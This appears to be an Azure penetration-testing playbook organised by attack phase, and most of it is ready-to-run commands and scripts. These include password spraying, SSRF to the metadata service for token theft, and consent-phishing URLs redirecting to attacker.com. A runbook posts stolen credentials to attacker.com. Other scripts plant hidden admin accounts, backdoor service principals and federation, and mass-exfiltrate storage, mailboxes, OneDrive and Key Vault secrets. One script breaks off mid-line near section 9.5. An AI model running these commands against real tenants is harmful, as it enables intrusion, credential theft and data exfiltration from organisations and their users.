skills
Azure Penetration Testing - Comprehensive Reference
Vendor-Neutral Azure Security Assessment Guide
Focus: Tools, Processes, Commands, Attack Techniques
Last Updated: February 2026
Table of Contents
- Methodology Overview
- Tools Arsenal
- Phase 1: Reconnaissance
- Phase 2: Initial Access
- Phase 3: Enumeration
- Phase 4: Privilege Escalation
- Phase 5: Lateral Movement
- Phase 6: Persistence
- Phase 7: Data Exfiltration
- Phase 8: Defense Evasion
- Service-Specific Playbooks
- Quick Reference
1. Methodology Overview
Azure Attack Surface
┌─────────────────────────────────────────────────────────────┐
│ AZURE ATTACK SURFACE │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Entra ID │ │ Azure │ │ Hybrid │ │
│ │ (Azure AD) │ │ Resources │ │ Identity │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │ │
│ ├─ Users ├─ VMs ├─ AD Connect│
│ ├─ Groups ├─ Storage ├─ ADFS │
│ ├─ Apps ├─ Functions └─ Federation│
│ ├─ Service ├─ Key Vaults │
│ │ Principals ├─ SQL Databases │
│ └─ Roles └─ Logic Apps │
│ │
└─────────────────────────────────────────────────────────────┘
Attack Lifecycle
RECONNAISSANCE
├── Tenant Discovery (AADInternals, public APIs)
├── User Enumeration (GetCredentialType, O365 endpoints)
└── Service Discovery (subdomain brute-force, DNS)
INITIAL ACCESS
├── Password Spraying (MSOLSpray, O365spray)
├── Phishing (OAuth consent, device code flow)
├── Credential Harvesting (GitHub, config files)
└── SSRF to IMDS (metadata service exploitation)
ENUMERATION
├── Entra ID (users, groups, roles, apps)
├── Subscriptions & Resources
├── RBAC Assignments
└── Service Principals & Managed Identities
PRIVILEGE ESCALATION
├── RBAC Abuse (Key Vault Contributor, VM roles)
├── Federation Backdoor (domain conversion)
├── App Registration Manipulation
├── Service Principal Credential Addition
└── Managed Identity Pivot
LATERAL MOVEMENT
├── Managed Identity Abuse (Functions, Logic Apps, VMs)
├── Key Vault Secret Extraction
├── Graph API Enumeration
└── Storage Account Access
PERSISTENCE
├── Service Principal Creation (with Owner role)
├── OAuth Permission Grant Injection
├── Application Backdooring
├── Automation Account Package Modification
└── Hidden Admin Account Creation
DATA EXFILTRATION
├── Blob Storage Download
├── Email Access (Graph API)
├── OneDrive File Sync
└── Key Vault Secret Dump
DEFENSE EVASION
├── Conditional Access Bypass
├── Token Manipulation
├── Log Evasion
└── Detection Rule Bypass
Key Differentiators from AWS
| Aspect | Azure | AWS |
|---|---|---|
| Identity | Entra ID (centralized) | IAM (per-account) |
| Primary API | Microsoft Graph | AWS API per service |
| Metadata Service | IMDS with header requirement | IMDSv1 (no auth), IMDSv2 (token) |
| Privilege Model | RBAC + Entra ID roles | IAM policies |
| Federation | Native SAML/WS-Fed support | SAML via IAM |
| Managed Identity | System/User-assigned | IAM roles for EC2 |
2. Tools Arsenal
Installation & Setup
Core Tools
| Tool | Category | Installation | Purpose |
|---|---|---|---|
| Azure CLI | Official | curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash |
Primary Azure management |
| Az PowerShell | Official | Install-Module -Name Az -AllowClobber |
PowerShell-based management |
| AADInternals | Offensive | Install-Module AADInternals |
Entra ID exploitation framework |
| ROADtools | Offensive | pip install roadrecon roadlib roadtx |
Azure AD enumeration & analysis |
| AzureHound | Offensive | Download from GitHub releases | BloodHound for Azure |
| MicroBurst | Offensive | git clone https://github.com/NetSPI/MicroBurst |
Azure security assessment |
| PowerZure | Offensive | Import-Module .\PowerZure.psd1 |
PowerShell exploitation framework |
| Stormspotter | Offensive | Docker-based installation | Attack graph visualization |
| GraphRunner | Offensive | pip install graphrunner |
Microsoft Graph API toolkit |
Specialized Tools
| Tool | Purpose | Installation |
|---|---|---|
| MSOLSpray | Password spraying | git clone https://github.com/dafthack/MSOLSpray |
| o365spray | Office 365 password spraying | pip install o365spray |
| TeamFiltration | Microsoft Teams exploitation | Download from GitHub |
| TokenTactics | Token manipulation | Import-Module .\TokenTactics.psd1 |
| AzureADEnumeration | Unauthenticated enumeration | Python script |
| ScoutSuite | Security auditing | pip install scoutsuite |
| Prowler | Best practices scanner | pip install prowler |
Quick Setup Script
#!/bin/bash
# Azure Pentest Environment Setup
# Azure CLI
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Python tools
pip install roadrecon roadlib roadtx graphrunner scoutsuite prowler o365spray
# PowerShell (if on Linux)
sudo apt-get install -y powershell
# PowerShell modules
pwsh -Command "Install-Module -Name Az -AllowClobber -Force"
pwsh -Command "Install-Module AADInternals -Force"
# Clone repositories
git clone https://github.com/NetSPI/MicroBurst
git clone https://github.com/dafthack/MSOLSpray
git clone https://github.com/Azure/Stormspotter
echo "[+] Azure pentest environment ready"
3. Phase 1: Reconnaissance
3.1 Tenant Discovery
Identify Tenant ID
# AADInternals
Get-AADIntTenantID -Domain company.com
# Azure CLI (requires auth)
az account show --query tenantId -o tsv
# Manual (unauthenticated)
curl "https://login.microsoftonline.com/company.com/.well-known/openid-configuration" | jq -r '.token_endpoint' | cut -d'/' -f4
Enumerate Tenant Domains
# AADInternals
Get-AADIntTenantDomains -Domain company.com
# Output: All domains associated with tenant
# - company.com
# - company.onmicrosoft.com
# - subsidiary.com
Tenant Information Gathering
# Login information (federation, branding)
Get-AADIntLoginInformation -Domain company.com
# Reconnaissance as outsider
Invoke-AADIntReconAsOutsider -DomainName company.com
3.2 User Enumeration
GetCredentialType Endpoint (Unauthenticated)
# Single user
curl -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
-H "Content-Type: application/json" \
-d '{"Username":"alice@company.com"}'
# Response indicates if user exists:
# - IfExistsResult: 0 (exists), 1 (doesn't exist)
# - ThrottleStatus: 0 (not throttled), 1 (throttled)
Bulk User Enumeration
# AADInternals
Get-Content users.txt | Invoke-AADIntUserEnumerationAsOutsider
# o365creeper
python o365creeper.py -f emails.txt -o valid_users.txt
OneDrive User Enumeration
# Check if OneDrive exists for user
curl -I "https://company-my.sharepoint.com/personal/alice_company_com/_layouts/15/onedrive.aspx"
# HTTP 200 = user exists with OneDrive
# HTTP 404 = user doesn't exist or no OneDrive
3.3 Service Discovery
Subdomain Enumeration
# MicroBurst
Invoke-EnumerateAzureSubDomains -Base company -Verbose
# Common patterns:
# - {name}.blob.core.windows.net
# - {name}.file.core.windows.net
# - {name}.queue.core.windows.net
# - {name}.table.core.windows.net
# - {name}.vault.azure.net
# - {name}.azurewebsites.net
# - {name}.scm.azurewebsites.net
Storage Account Discovery
# Permutate common names
for name in company companydata companyprod companydev companybackup; do
curl -I "https://${name}.blob.core.windows.net/"
done
# MicroBurst
Invoke-EnumerateAzureBlobs -Base company
Public Blob Container Enumeration
# Check for anonymous access
curl "https://accountname.blob.core.windows.net/containername?restype=container&comp=list"
# If accessible, lists all blobs in container
4. Phase 2: Initial Access
4.1 Password Spraying
MSOLSpray (Azure AD)
# Import module
Import-Module .\MSOLSpray.ps1
# Single password spray
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2026!"
# Multiple passwords with delay
Invoke-MSOLSpray -UserList .\users.txt -PasswordList .\passwords.txt -Delay 60
o365spray
# Validate users first
o365spray --validate -U users.txt
# Password spray
o365spray --spray -U valid_users.txt -p "Winter2026!" --count 1 --lockout 5
# With rate limiting
o365spray --spray -U valid_users.txt -P passwords.txt --rate 10 --safe 5
TeamFiltration
# Spray with Teams validation
TeamFiltration --spray --users users.txt --passwords passwords.txt --delay 60
# Exfiltrate data after successful auth
TeamFiltration --exfiltrate --username alice@company.com --password "Winter2026!"
4.2 Credential Harvesting
GitHub/GitLab Search
# Search patterns
"company.onmicrosoft.com" password
"DefaultEndpointsProtocol=https;AccountName="
"AZURE_CLIENT_SECRET"
"AZURE_TENANT_ID"
"az login" password
"Connect-AzAccount" -Credential
# Tools
truffleHog https://github.com/company/repo
gitleaks detect --source /path/to/repo
Configuration Files
# Common locations
~/.azure/azureProfile.json
~/.azure/accessTokens.json
~/.azure/clouds.config
~/.azure/config
# Windows
%USERPROFILE%\.azure\
C:\Users\*\.azure\
# Application configs
appsettings.json
web.config
.env files
docker-compose.yml
Connection Strings
# Azure Storage
DefaultEndpointsProtocol=https;AccountName=myaccount;AccountKey=key;EndpointSuffix=core.windows.net
# SQL Database
Server=tcp:myserver.database.windows.net,1433;Database=mydb;User ID=admin;Password=pass;
# Service Bus
Endpoint=sb://namespace.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=key
4.3 IMDS Exploitation
Basic IMDS Access (from Azure VM)
# Instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
SSRF to IMDS
# Basic SSRF
http://vulnerable-app.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Header injection (if app forwards headers)
GET /fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1
Metadata: true
Token Extraction & Usage
# Extract token
TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r '.access_token')
# Use token with Azure CLI
az login --identity
az account show
# Use token with REST API
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
4.4 OAuth Phishing
Device Code Flow Phishing
# AADInternals
Get-AADIntAccessTokenForAADGraph -UseDeviceCode
# User sees:
# "To sign in, use a web browser to open https://microsoft.com/devicelogin and enter code ABC123"
# Attacker sends this to victim, obtains token when victim authenticates
Consent Grant Phishing (ConsentFix)
# Create malicious OAuth app
# Request high-privilege permissions:
# - Mail.ReadWrite
# - Files.ReadWrite.All
# - Directory.ReadWrite.All
# Send consent URL to victim
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<malicious-app-id>&
response_type=code&
redirect_uri=https://attacker.com/callback&
scope=Mail.ReadWrite Files.ReadWrite.All offline_access&
state=12345
# Capture authorization code from redirect
# Exchange for access token
5. Phase 3: Enumeration
5.1 Entra ID Enumeration
Azure CLI
# Users
az ad user list --query "[].{UPN:userPrincipalName, Name:displayName, Enabled:accountEnabled}" -o table
# Groups
az ad group list --query "[].{Name:displayName, Description:description}" -o table
# Group members
az ad group member list --group "SQL Admins" --query "[].userPrincipalName" -o tsv
# Service principals
az ad sp list --all --query "[].{Name:displayName, AppId:appId}" -o table
# Applications
az ad app list --query "[].{Name:displayName, AppId:appId}" -o table
Az PowerShell
# Users
Get-AzADUser | Select-Object UserPrincipalName, DisplayName, AccountEnabled
# Groups
Get-AzADGroup | Select-Object DisplayName, Description
# Group members
Get-AzADGroupMember -GroupDisplayName "SQL Admins"
# Service principals
Get-AzADServicePrincipal | Select-Object DisplayName, ApplicationId
# Role assignments
Get-AzRoleAssignment | Select-Object DisplayName, RoleDefinitionName, Scope
AADInternals
# Get access token
Get-AADIntAccessTokenForAADGraph
# Dump all users
Get-AADIntUsers | Export-Csv users.csv
# Dump all groups
Get-AADIntGroups | Export-Csv groups.csv
# Service principals
Get-AADIntServicePrincipals | Export-Csv service_principals.csv
# Conditional Access policies
Get-AADIntConditionalAccessPolicies
5.2 ROADtools Enumeration
Authentication
# With credentials
roadrecon auth -u user@company.com -p password
# With access token
roadrecon auth --access-token eyJ0eXA...
# With PRT cookie
roadrecon auth --prt-cookie <prt> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
Data Gathering
# Collect all data
roadrecon gather
# With MFA
roadrecon gather --mfa
# Output: roadrecon.db (SQLite database)
GUI Analysis
# Start web interface
roadrecon gui
# Navigate to http://localhost:5000
# Explore:
# - Users, Groups, Devices
# - Applications, Service Principals
# - Roles, Administrative Units
# - Conditional Access Policies
SQL Queries
-- Connect to roadrecon.db
sqlite3 roadrecon.db
-- Users with admin roles
SELECT u.userPrincipalName, r.displayName as Role
FROM users u
JOIN role_members rm ON u.objectId = rm.memberId
JOIN roles r ON rm.roleId = r.objectId;
-- Groups with 'admin' in name
SELECT displayName, description FROM groups WHERE displayName LIKE '%admin%';
-- Applications without role assignment requirement
SELECT displayName, appId FROM applications WHERE appRoleAssignmentRequired = 0;
-- Service principals with high-privilege roles
SELECT sp.displayName, r.displayName as Role
FROM service_principals sp
JOIN role_members rm ON sp.objectId = rm.memberId
JOIN roles r ON rm.roleId = r.objectId;
5.3 AzureHound Collection
# Download AzureHound
wget https://github.com/BloodHoundAD/AzureHound/releases/latest/download/azurehound-linux-amd64
chmod +x azurehound-linux-amd64
# Collect with credentials
./azurehound -u "user@company.com" -p "password" list --tenant "company.onmicrosoft.com" -o azurehound.json
# Collect with refresh token
./azurehound --refresh-token <token> list --tenant "tenant-id" -o azurehound.json
# Import to BloodHound
# 1. Start Neo4j: neo4j console
# 2. Open BloodHound GUI
# 3. Upload azurehound.json
# 4. Query attack paths
5.4 Azure Resources Enumeration
Subscriptions
# List subscriptions
az account list --query "[].{Name:name, ID:id, State:state}" -o table
# Set active subscription
az account set --subscription "subscription-id"
Resource Groups
# List resource groups
az group list --query "[].{Name:name, Location:location}" -o table
# Resources in group
az resource list --resource-group "RG-Production" -o table
Virtual Machines
# List VMs
az vm list --query "[].{Name:name, ResourceGroup:resourceGroup, Location:location}" -o table
# VM details
az vm show --name "VM-Web01" --resource-group "RG-Production"
# List VM extensions
az vm extension list --vm-name "VM-Web01" --resource-group "RG-Production"
Storage Accounts
# List storage accounts
az storage account list --query "[].{Name:name, ResourceGroup:resourceGroup}" -o table
# List containers
az storage container list --account-name "companydata" --query "[].name" -o tsv
# List blobs
az storage blob list --account-name "companydata" --container-name "backups" -o table
Key Vaults
# List Key Vaults
az keyvault list --query "[].{Name:name, ResourceGroup:resourceGroup}" -o table
# List secrets
az keyvault secret list --vault-name "company-vault" --query "[].name" -o tsv
# Get secret value
az keyvault secret show --vault-name "company-vault" --name "AdminPassword" --query value -o tsv
Function Apps
# List Function Apps
az functionapp list --query "[].{Name:name, ResourceGroup:resourceGroup, State:state}" -o table
# Get function keys
az functionapp keys list --name "company-functions" --resource-group "RG-Production"
# List functions
az functionapp function list --name "company-functions" --resource-group "RG-Production"
5.5 Managed Identity Enumeration
# List VMs with managed identities
az vm list --query "[?identity!=null].{Name:name, IdentityType:identity.type}" -o table
# Get managed identity details
az vm identity show --name "VM-Web01" --resource-group "RG-Production"
# List role assignments for managed identity
az role assignment list --assignee <principal-id> -o table
6. Phase 4: Privilege Escalation
6.1 High-Risk Entra ID Roles (Tier 0)
| Role | Capabilities | Escalation Risk |
|---|---|---|
| Global Administrator | Full tenant control | CRITICAL |
| Privileged Role Administrator | Can assign any role | CRITICAL |
| Privileged Authentication Administrator | Reset any user's auth methods | CRITICAL |
| Application Administrator | Full control over app registrations | HIGH |
| Cloud Application Administrator | Similar to App Admin | HIGH |
| Hybrid Identity Administrator | Controls sync/federation | HIGH |
| Security Administrator | Security policy control | HIGH |
| Conditional Access Administrator | Bypass/modify CA policies | HIGH |
6.2 RBAC Privilege Escalation
Key Vault Contributor Abuse
# Scenario: You have Key Vault Contributor role
# Permission: Microsoft.KeyVault/vaults/write
# Modify access policy to grant yourself access
az keyvault set-policy --name "company-vault" \
--upn attacker@company.com \
--secret-permissions get list \
--key-permissions get list \
--certificate-permissions get list
# Extract secrets
az keyvault secret list --vault-name "company-vault" --query "[].id" -o tsv | while read secret; do
echo "Secret: $secret"
az keyvault secret show --id "$secret" --query value -o tsv
done
VM Contributor with Managed Identity
# Scenario: VM has high-privilege managed identity
# You have VM Contributor role
# Method 1: Execute commands on VM
az vm run-command invoke \
--name "VM-Admin" \
--resource-group "RG-Production" \
--command-id RunShellScript \
--scripts "curl -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
# Method 2: Attach admin managed identity to your VM
az vm identity assign \
--name "YourVM" \
--resource-group "YourRG" \
--identities /subscriptions/<sub>/resourcegroups/<rg>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/AdminIdentity
# Method 3: Create new VM with admin identity
az vm create \
--name "BackdoorVM" \
--resource-group "YourRG" \
--image UbuntuLTS \
--assign-identity /subscriptions/<sub>/resourcegroups/<rg>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/AdminIdentity
6.3 Application Registration Abuse
Create Backdoor Application
# Create app registration
$app = New-AzADApplication -DisplayName "WebService"
# Create service principal
$sp = New-AzADServicePrincipal -ApplicationId $app.AppId
# Add high-privilege API permissions (requires admin consent)
# Microsoft Graph permissions:
# - Directory.ReadWrite.All
# - RoleManagement.ReadWrite.Directory
# - User.ReadWrite.All
# Generate client secret
$secret = New-AzADAppCredential -ApplicationId $app.AppId -EndDate (Get-Date).AddYears(2)
# Assign Owner role to service principal
New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionName "Owner" -Scope "/subscriptions/<subscription-id>"
Add Credentials to Existing App
# Scenario: You have Application Administrator role
# Add secret to existing high-privilege app
az ad app credential reset --id <app-object-id> --append
# Output includes new client secret
# Use for persistent access
6.4 Federation Backdoor
# AADInternals - Convert domain to federated
# Requires Hybrid Identity Administrator or Global Administrator
# Get domain authentication type
Get-AADIntDomainAuthType -Domain company.com
# Convert to federated
ConvertTo-AADIntFederated -Domain company.com
# Set up malicious federation endpoint
# Issue arbitrary SAML tokens
# Bypasses MFA and Conditional Access
6.5 Service Principal Manipulation
# Add credentials to existing service principal
# Requires appropriate permissions
# PowerShell
$sp = Get-AzADServicePrincipal -DisplayName "HighPrivilegeApp"
$cred = New-AzADSpCredential -ObjectId $sp.Id -EndDate (Get-Date).AddYears(2)
# Azure CLI
az ad sp credential reset --id <sp-object-id> --append
# Use credentials for persistent access
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
6.6 Administrative Units Abuse
# Scenario: You're scoped admin in Administrative Unit
# Can manage users/groups within AU scope
# List administrative units
Get-AzureADMSAdministrativeUnit
# Add user to AU (if you have permission)
Add-AzureADMSAdministrativeUnitMember -Id <au-id> -RefObjectId <user-id>
# Assign role scoped to AU
New-AzureADMSScopedRoleMembership -AdministrativeUnitId <au-id> -RoleId <role-id> -RoleMemberInfo @{Id=<user-id>}
7. Phase 5: Lateral Movement
7.1 Managed Identity Token Theft
From Compromised VM
# Get token for Azure Resource Manager
TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r '.access_token')
# Get token for Microsoft Graph
GRAPH_TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | jq -r '.access_token')
# Get token for Key Vault
VAULT_TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq -r '.access_token')
# Use tokens
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
From Azure Function
// Node.js Function App
const { DefaultAzureCredential } = require("@azure/identity");
const credential = new DefaultAzureCredential();
const token = await credential.getToken("https://management.azure.com/.default");
// Exfiltrate token
console.log(token.token);
# Python Function App
from azure.identity import DefaultAzureCredential
credential = DefaultAzureCredential()
token = credential.get_token("https://management.azure.com/.default")
# Exfiltrate token
print(token.token)
7.2 Key Vault Secret Extraction
With Managed Identity
# From VM with Key Vault access
VAULT_TOKEN=$(curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq -r '.access_token')
# List secrets
curl -H "Authorization: Bearer $VAULT_TOKEN" "https://company-vault.vault.azure.net/secrets?api-version=7.4"
# Get secret value
curl -H "Authorization: Bearer $VAULT_TOKEN" "https://company-vault.vault.azure.net/secrets/AdminPassword?api-version=7.4"
With Azure CLI
# List all Key Vaults
az keyvault list --query "[].name" -o tsv | while read vault; do
echo "=== Vault: $vault ==="
# List secrets
az keyvault secret list --vault-name "$vault" --query "[].name" -o tsv | while read secret; do
echo "Secret: $secret"
az keyvault secret show --vault-name "$vault" --name "$secret" --query value -o tsv
done
done
7.3 Storage Account Access
With Access Keys
# List storage accounts
az storage account list --query "[].name" -o tsv | while read account; do
echo "=== Account: $account ==="
# Get access keys
keys=$(az storage account keys list --account-name "$account" --query "[].value" -o tsv)
# List containers
az storage container list --account-name "$account" --account-key "$keys" --query "[].name" -o tsv
done
With SAS Token
# SAS token format
# ?sv=2021-06-08&ss=bfqt&srt=sco&sp=rwdlacupiytfx&se=2026-12-31T23:59:59Z&st=2026-01-01T00:00:00Z&spr=https&sig=signature
# List blobs with SAS
curl "https://company.blob.core.windows.net/backups?restype=container&comp=list&sv=2021-06-08&ss=b&srt=co&sp=rl&se=2026-12-31T23:59:59Z&sig=..."
# Download blob with SAS
curl "https://company.blob.core.windows.net/backups/database.bak?sv=2021-06-08&ss=b&srt=o&sp=r&se=2026-12-31T23:59:59Z&sig=..." -o database.bak
7.4 Microsoft Graph API Enumeration
Email Access
# Get Graph token
GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)
# List users
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users"
# Read user's emails
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/messages"
# Download email
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/messages/{message-id}/\$value"
OneDrive File Access
# List OneDrive files
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/drive/root/children"
# Download file
curl -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users/alice@company.com/drive/items/{item-id}/content" -o file.docx
7.5 Automation Account Exploitation
Credential Extraction
# List Automation Accounts
Get-AzAutomationAccount
# List credentials
Get-AzAutomationCredential -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
# Create malicious runbook to extract credentials
$runbook = @'
$cred = Get-AutomationPSCredential -Name 'StorageAccountCred'
$username = $cred.UserName
$password = $cred.GetNetworkCredential().Password
Invoke-WebRequest -Uri "https://attacker.com/exfil?u=$username&p=$password"
'@
New-AzAutomationRunbook -Name "CredDump" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Import-AzAutomationRunbook -Path .\malicious.ps1 -Name "CredDump" -Type PowerShell -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production" -Force
Publish-AzAutomationRunbook -Name "CredDump" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
Start-AzAutomationRunbook -Name "CredDump" -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production"
8. Phase 6: Persistence
8.1 Service Principal Backdoor
# Create service principal with Owner role
$sp = New-AzADServicePrincipal -DisplayName "WebService" -Role "Owner"
# Extract secret
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sp.Secret)
$secret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
# Save credentials
Write-Output "AppId: $($sp.AppId)"
Write-Output "Secret: $secret"
Write-Output "TenantId: $(Get-AzContext).Tenant.Id"
# Re-authenticate later
$cred = Get-Credential # AppId as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "<tenant-id>" -ServicePrincipal
8.2 Application Registration Backdoor
# Create app with high-privilege permissions
$app = New-AzADApplication -DisplayName "BackupService"
# Create service principal
$sp = New-AzADServicePrincipal -ApplicationId $app.AppId
# Add certificate credential (more stealthy than secret)
$cert = New-SelfSignedCertificate -Subject "CN=BackupService" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256
$certValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
New-AzADAppCredential -ApplicationId $app.AppId -CertValue $certValue -EndDate (Get-Date).AddYears(2)
# Assign Global Administrator role (requires Privileged Role Administrator)
$role = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
8.3 OAuth Permission Grant Injection
# Inject high-privilege OAuth grant
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \
--body '{
"clientId": "<app-object-id>",
"consentType": "AllPrincipals",
"principalId": null,
"resourceId": "<resource-sp-object-id>",
"scope": "Directory.ReadWrite.All Mail.ReadWrite Files.ReadWrite.All"
}'
8.4 Hidden Admin Account
# Create user
az ad user create \
--display-name "Support Account" \
--password "ComplexP@ssw0rd123!" \
--user-principal-name support@company.onmicrosoft.com
# Assign Global Administrator role
az role assignment create \
--assignee support@company.onmicrosoft.com \
--role "Global Administrator"
# Disable sign-in logs (if possible)
# Use legitimate-sounding name
# Avoid suspicious activity patterns
8.5 Automation Account Package Backdoor
# Upload malicious Python/PowerShell package
# Package contains credential exfiltration code
# Triggered by scheduled runbooks
# Example: Modify existing package
$packagePath = "C:\malicious-package.zip"
New-AzAutomationModule -AutomationAccountName "company-automation" -ResourceGroupName "RG-Production" -Name "MaliciousModule" -ContentLinkUri "https://attacker.com/package.zip"
8.6 Federation Backdoor
# AADInternals - Requires Hybrid Identity Administrator or Global Administrator
# Convert domain to federated
ConvertTo-AADIntFederated -Domain company.com
# Set up malicious IdP endpoint
# Issue arbitrary SAML tokens
# Bypasses MFA, Conditional Access, password policies
# Re-authenticate with forged token
Open-AADIntOffice365Portal -ImmutableId "user-immutable-id" -Issuer "http://attacker.com/adfs" -PfxFileName .\cert.pfx -PfxPassword "password"
9. Phase 7: Data Exfiltration
9.1 Blob Storage Exfiltration
# List all storage accounts
az storage account list --query "[].name" -o tsv > storage_accounts.txt
# For each account
while read account; do
echo "=== $account ==="
# Get keys
key=$(az storage account keys list --account-name "$account" --query "[0].value" -o tsv)
# List containers
az storage container list --account-name "$account" --account-key "$key" --query "[].name" -o tsv | while read container; do
echo "Container: $container"
# Download all blobs
az storage blob download-batch \
--account-name "$account" \
--account-key "$key" \
--source "$container" \
--destination "./exfil/$account/$container/"
done
done < storage_accounts.txt
9.2 Email Exfiltration
# Get Graph token
GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)
# List all users
az ad user list --query "[].userPrincipalName" -o tsv > users.txt
# For each user
while read user; do
echo "=== $user ==="
# Get inbox messages
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/users/$user/messages?\$top=100&\$select=subject,from,receivedDateTime" \
| jq -r '.value[] | "\(.receivedDateTime) | \(.from.emailAddress.address) | \(.subject)"' \
> "./exfil/emails/$user.txt"
# Download attachments
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/users/$user/messages?\$expand=attachments" \
| jq -r '.value[].attachments[]? | "\(.id)|\(.name)"' | while IFS='|' read id name; do
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/users/$user/messages/$id/attachments/$id/\$value" \
-o "./exfil/attachments/$user-$name"
done
done < users.txt
9.3 Key Vault Secret Dump
# List all Key Vaults
az keyvault list --query "[].name" -o tsv > vaults.txt
# For each vault
while read vault; do
echo "=== $vault ===" >> secrets.txt
# List and extract secrets
az keyvault secret list --vault-name "$vault" --query "[].name" -o tsv | while read secret; do
value=$(az keyvault secret show --vault-name "$vault" --name "$secret" --query value -o tsv)
echo "$secret: $value" >> secrets.txt
done
# List and extract keys
az keyvault key list --vault-name "$vault" --query "[].name" -o tsv | while read key; do
az keyvault key backup --vault-name "$vault" --name "$key" --file "./exfil/keys/$vault-$key.bak"
done
# List and extract certificates
az keyvault certificate list --vault-name "$vault" --query "[].name" -o tsv | while read cert; do
az keyvault certificate download --vault-name "$vault" --name "$cert" --file "./exfil/certs/$vault-$cert.pem"
done
done < vaults.txt
9.4 OneDrive/SharePoint Exfiltration
# Get Graph token
GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)
# List users
az ad user list --query "[].userPrincipalName" -o tsv > users.txt
# For each user
while read user; do
echo "=== $user ==="
# List OneDrive files
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/users/$user/drive/root/children" \
| jq -r '.value[] | "\(.id)|\(.name)"' | while IFS='|' read id name; do
# Download file
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/users/$user/drive/items/$id/content" \
-o "./exfil/onedrive/$user-$name"
done
done < users.txt
9.5 SQL Database Exfiltration
# List SQL servers
az sql server list --query "[].{Name:name, ResourceGroup:resourceGroup}" -o tsv | while IFS=
---
## 10. Phase 8: Defense Evasion
### 10.1 Conditional Access Bypass
#### Legacy Authentication
```bash
# Test legacy auth (bypasses MFA if not blocked)
curl -u user@company.com:password https://outlook.office365.com/EWS/Exchange.asmx
# IMAP
openssl s_client -connect outlook.office365.com:993
# LOGIN user@company.com password
# POP3
openssl s_client -connect outlook.office365.com:995
# USER user@company.com
# PASS password
Token Replay
# Steal token from compromised session
$token = (Get-AzAccessToken).Token
# Save token
$token | Out-File token.txt
# Replay on attacker machine
$token = Get-Content token.txt
Connect-AzAccount -AccessToken $token -AccountId user@company.com
Pass-the-PRT
# Extract PRT from compromised device (requires admin)
# Windows: mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
# Use PRT to request tokens (bypasses device compliance)
